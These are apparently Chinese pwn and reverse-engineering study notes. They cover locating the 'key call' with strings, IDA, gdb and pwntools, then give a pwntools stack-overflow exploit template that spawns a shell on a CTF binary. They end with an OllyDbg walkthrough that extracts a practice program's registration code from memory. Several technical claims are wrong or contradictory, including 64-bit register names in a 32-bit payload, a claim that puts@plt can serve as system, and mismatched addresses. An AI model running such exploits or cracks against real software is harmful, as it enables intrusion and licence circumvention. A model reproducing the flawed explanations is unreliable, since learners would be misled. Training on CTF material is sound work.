一、尋找關鍵call

尋找關鍵 call 是 Pwn 入門最核心的“定位”技能:

“只要找到那條能把溢出變成 shell 的 call,後面就是佈置參數和跳過去的事。”

下面給出一套只依賴免費工具、100% 新手可復現的“找關鍵 call”速查表,按“靜態→動態→腳本”三步走,附實戰 Demo,照敲即可。


一、靜態 30 秒:用 strings + xref 鎖定“可疑 call”

  1. 先挑字符串
    strings -n 3 ./pwn | grep -E 'sh|/bin|flag|system|exec|cat'立刻看到 /bin/shcat flagsystem 等關鍵詞。
  2. 拿地址
    把關鍵詞地址扔進 IDA(免費版即可):
    Jump → Jump to address → 雙擊 → 按 x 查看交叉引用所有 call systemcall execvecall puts 一覽無餘。
  3. 給函數重命名
    在 IDA 裏按 n,把地址改成 call_system_pltcall_execve 方便後面寫 exp 時直接複製。

二、動態 1 分鐘:用 gdb 驗證“這條 call 能不能用” 模板命令(pwndbg 自帶)

gdb ./pwn
pwndbg> checksec          # 看保護,沒開 NX 就可以直接 call shellcode
pwndbg> info functions    # 列出所有函數,找 system|execve|puts
pwndbg> disas main

假設看到

0x08048657 call 0x8048400 <puts@plt>

下斷點

pwndbg> b *0x8048400
pwndbg> r

程序跑到這裏停下後:

pwndbg> stack 20

觀察棧頂——如果棧頂下方就是 /bin/sh 字符串地址,那麼這條 call puts 就可以改造成 call system(同一 PLT 條目,參數位置對了就能直接 getshell)。


三、腳本 10 行:自動 dump 所有 call 地址 不想手動?一條 Python 用 pwntools 搞定:

from pwn import *
elf = ELF('./pwn')
for got_name, got_addr in elf.got.items():
    print(f'{got_name:15} @ GOT {got_addr:#x}')
for plt_name, plt_addr in elf.plt.items():
    print(f'{plt_name:15} @ PLT {plt_addr:#x}')

運行結果示例

system          @ PLT 0x8048400
puts            @ PLT 0x8048410
read            @ PLT 0x8048420

→ 直接拿到 system_plt = 0x8048400,寫 exp 時 payload += p32(system_plt) 即可。


四、實戰小例子(32 位棧溢出,找關鍵 call 全過程) 題目:pwn1,保護 NX off,有棧溢出,無 system 符號。

步驟:

  1. 靜態
strings pwn1 | grep /bin
   # 輸出:/bin/sh  地址 0x0804a024
  1. IDA 看交叉引用
    發現 0x08048657 call execve@plt 旁邊就是 /bin/sh 的 push。
    → 關鍵 call 確定為 execve_plt = 0x8048400
  2. 寫 exp
from pwn import *
   elf = ELF('./pwn1')
   execve_plt = elf.plt['execve']   # 0x8048400
   binsh      = 0x0804a024          # 上面 strings 出的
   payload    = b'A'*140
   payload   += p32(execve_plt)
   payload   += p32(0)              # 隨便填 ret
   payload   += p32(binsh)          # rdi
   payload   += p32(0)*2            # rsi=0, rdx=0
   io = process('./pwn1')
   io.sendline(payload)
   io.interactive()

跑完直接 cat flag


五、思維導圖(文字版) 找關鍵 call ├─ 靜態速掃 │ ├─ strings 找 /bin/sh system │ ├─ IDA 交叉引用 │ └─ 重命名 call_system_plt ├─ 動態驗證 │ ├─ gdb 下斷 plt │ ├─ 看參數位置 │ └─ 確認能用 ├─ 腳本自動化 │ └─ pwntools ELF.plt/got 一鍵 dump └─ 實戰 └─ 溢出 → 關鍵 call 地址 → 參數 → getshell


六、一句話背下來 “先 strings 找詞,再 IDA 看交叉,gdb 跑一遍,pwntools 拿地址——關鍵 call 就到手了。”

關鍵call定義

用一句話先給你“關鍵 call”的終極定義:

“關鍵 call 就是能讓你的溢出‘直接變成 shell’的那一條機器指令地址。”

下面用 3 個生活比喻 + 1 張圖 + 1 行命令 保證你 2 分鐘徹底懂。

一、3 個比喻(層層遞進)

  1. 打電話
    你把緩衝區溢出當成“把電話簿裏的號碼改成任意號碼”。
    關鍵 call = “一鍵 110”——你只要把號碼改成它,撥通(ret)就自動報警(getshell)。
  2. 外賣單
    棧溢出就像你在外賣單上“把商家地址塗掉”。
    關鍵 call = “塗成‘麥當勞’”——騎手(CPU)看到就去麥當勞給你帶套餐(/bin/sh)。
  3. 電梯按鈕
    溢出相當於你偷偷把 5 樓按鈕裏的線路接到頂樓。
    關鍵 call = “頂樓按鈕”——別人按 5 樓,電梯直接送你上天(root)。

二、1 張圖(文字版,隨手畫)

棧溢出前:
[buf 64 B][saved ebp][saved eip]   ← eip=0x08048400 (正常返回地址)

棧溢出後:
[AAAAAAAA...AAAAAAAA][0x08048400→改成→0x08048657]
                                           │
                                           ▼
                                    關鍵 call 地址
                                    (例如 call system@plt)

CPU 執行到 ret 時,把 0x08048657 彈給 EIP → 跑到 call system → 拿 shell。

三、1 行命令(實戰拿地址)

strings -n 3 ./pwn | grep -E 'sh|system'
objdump -d ./pwn | grep -E 'call.*system|call.*execve'

輸出示例:

08048657:  e8 04 00 00 00  call 8048a60 <system@plt>

→ 0x08048657 就是“關鍵 call”地址,溢出時把它寫進 saved EIP 即可。

四、30 秒記憶口訣

“找字符串,搜 call,填 EIP,getshell。”

把這句背下來,以後任何棧溢出題先跑這 4 步,關鍵 call 永遠不會漏。

二、練習

pwn學習5-尋找關鍵call(筆記)_棧溢出

這次我們有個練習exe

pwn學習5-尋找關鍵call(筆記)_註冊碼_02

我用這個ExeinfopeWin XP_8.6的pe分析工具

pwn學習5-尋找關鍵call(筆記)_交叉引用_03

用pe分析工具將練習的exe程序放入或者打開

pwn學習5-尋找關鍵call(筆記)_註冊碼_04

可以看到完整數據就是沒有殼,可以看到它是c++ v.5-6.0編寫的,連接器版本6,子系統GUI的程序。

入口點是00010274

pwn學習5-尋找關鍵call(筆記)_註冊碼_05

現在通過od打開練習xex,現在是暫停的狀態。

pwn學習5-尋找關鍵call(筆記)_交叉引用_06

分析它這個exe,可以用右鍵-中文搜索引擎-智能搜索

就進入到了這個頁面

這裏大概都是push相關的操作,都是英文,在這裏可以看到一些隻言片語的話。

pwn學習5-尋找關鍵call(筆記)_棧溢出_07

找到這個感謝註冊的語句雙擊

pwn學習5-尋找關鍵call(筆記)_註冊碼_08

就來到了對應的彙編語句的位置

pwn學習5-尋找關鍵call(筆記)_棧溢出_09

往上看這裏有一個je跳轉

pwn學習5-尋找關鍵call(筆記)_註冊碼_10

往上看,這裏的jnz是最外層if判斷語句,這個判斷是大於內層je的else語句

pwn學習5-尋找關鍵call(筆記)_交叉引用_11

如何打斷點,點擊位置右鍵-斷點-切換,其實直接可以快捷鍵F2即可。

地址位置變紅就表示斷點已經下到該位置上了

pwn學習5-尋找關鍵call(筆記)_棧溢出_12

這個位置的call就是關鍵call了

在這個位置右鍵-斷點-運行到此位置

程序應用就已經運行起來了

1)運⾏軟件點擊File-》register

pwn學習5-尋找關鍵call(筆記)_註冊碼_13


2)隨便輸⼊⽤户名和密碼

pwn學習5-尋找關鍵call(筆記)_棧溢出_14

3)記錄彈窗的的關鍵字

pwn學習5-尋找關鍵call(筆記)_交叉引用_15

4)發送到PEID查殼

pwn學習5-尋找關鍵call(筆記)_棧溢出_16

4.1)未找到加密的殼

pwn學習5-尋找關鍵call(筆記)_註冊碼_17

4.2)發送到OD打開,在反彙編⽬錄下右鍵菜單找到中⽂搜索引擎-》智能搜索

pwn學習5-尋找關鍵call(筆記)_交叉引用_18

4.3)找到剛才蒐集到的密碼錯誤信息

pwn學習5-尋找關鍵call(筆記)_交叉引用_19

4.4)雙擊進⼊向上查找關鍵跳轉(1)接着向上找到關鍵CALL(2)在00403990 jnz 1跳轉這⾥按F2設置斷點

pwn學習5-尋找關鍵call(筆記)_交叉引用_20

接着F8動調程序,運⾏了程序,OD停下,此時打開註冊按鈕,輸⼊註冊碼

這⾥輸⼊test 點擊認證。此時od跳到了我們下斷點的地⽅ 5.0)⼀直F8進⾏單步測試直到出現註冊碼為止

pwn學習5-尋找關鍵call(筆記)_註冊碼_21

0019F998   00D27990  ASCII "8065908B746D4AAE4FDB9E34555497D6"

5.1)輸⼊找到的註冊碼

pwn學習5-尋找關鍵call(筆記)_交叉引用_22

pwn學習5-尋找關鍵call(筆記)_交叉引用_23

6)成功獲得註冊碼

pwn學習5-尋找關鍵call(筆記)_註冊碼_24

找到關鍵CALL

0019F980 00446DD8 ASCII "8065908B746D4AAE4FDB9E34555497D6"

這個技術也叫內存追碼,早期軟件安全防範意識不強的時候,經常會出現的問題。